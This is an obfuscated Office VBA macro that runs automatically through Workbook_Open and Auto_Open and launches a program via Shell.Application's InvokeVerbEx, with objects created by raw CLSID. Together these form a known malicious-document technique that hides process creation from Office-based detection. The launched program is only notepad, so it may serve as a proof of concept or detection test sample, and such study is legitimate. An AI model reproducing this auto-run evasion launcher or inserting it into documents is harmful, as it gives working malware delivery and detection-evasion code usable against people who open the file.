Sub estudl(ByVal ltionst As String)
    On Error GoTo zadoptionf
    Dim vbeatlesy, bhusbandc, tpolel, cflowo, xsitemaps
    Dim hnissans, sagreementsz, mcarbh

    Dim bdramaticallyd As Object: Set bdramaticallyd = CreateObject("ne" _
        & "w:0D43FE01-F093-11CF-8940-00A0C9054228")
    Dim vdenmarkz
    vdenmarkz = ltionst
    tpolel = ""
    vbeatlesy = Trim(vdenmarkz)
    bhusbandc = InStr(2, vdenmarkz, """")
    cflowo = InStr(1, vdenmarkz, " ")
    If Left(vdenmarkz, 1) = """" And bhusbandc > 0 Then
        vbeatlesy = Trim(Mid(vdenmarkz, 2, bhusbandc - 2))
        tpolel = Trim(Mid(vdenmarkz, bhusbandc + 1))
    ElseIf cflowo > 0 Then
        vbeatlesy = Trim(Mid(vdenmarkz, 1, cflowo - 1))
        tpolel = Trim(Mid(vdenmarkz, cflowo + 1))
    End If
    

    Dim ddateda
    Set ddateda = GetObject("new:13709620-C279-11CE-A49E-444553540000")
    If bdramaticallyd.FileExists(vbeatlesy) Then

        xsitemaps = bdramaticallyd.GetParentFolderName _
            (vbeatlesy) & "\"
        vbeatlesy = bdramaticallyd.GetFileName(vbeatlesy)
        Set hnissans = ddateda.Namespace(xsitemaps)
        If (Not hnissans Is Nothing) Then
            Set mcarbh = hnissans.Items()
            For Each sagreementsz In mcarbh
                If InStr(sagreementsz, vbeatlesy) Then
                    sagreementsz.InvokeVerbEx "open", " " & tpolel
                    Exit Sub
                End If
            Next
        End If
    Else

        Dim tunitedx As Variant
        tunitedx = Array(26, 28, 36, 37, 40, 49)
        vbeatlesy = bdramaticallyd.GetFileName(vbeatlesy)
        For Each areasonablyf In tunitedx
            Set hnissans = ddateda.Namespace(areasonablyf)
            If (Not hnissans Is Nothing) Then
                Set sagreementsz = hnissans.ParseName(vbeatlesy)
                If (Not sagreementsz Is Nothing) Then
                    sagreementsz.InvokeVerbEx "open", " " & tpolel
                    Exit Sub
                End If
            End If
        Next
    End If
zadoptionf:
End Sub
Sub fhowtor()
    On Error GoTo zadoptionf
    Dim jnickeln
    jnickeln = ""
    
    estudl "notepad"
zadoptionf:
End Sub
Sub spacex()
    On Error Resume Next
    
    fhowtor
    
End Sub
Sub Workbook_Open()
    spacex
End Sub
Sub Auto_Open()
    spacex
End Sub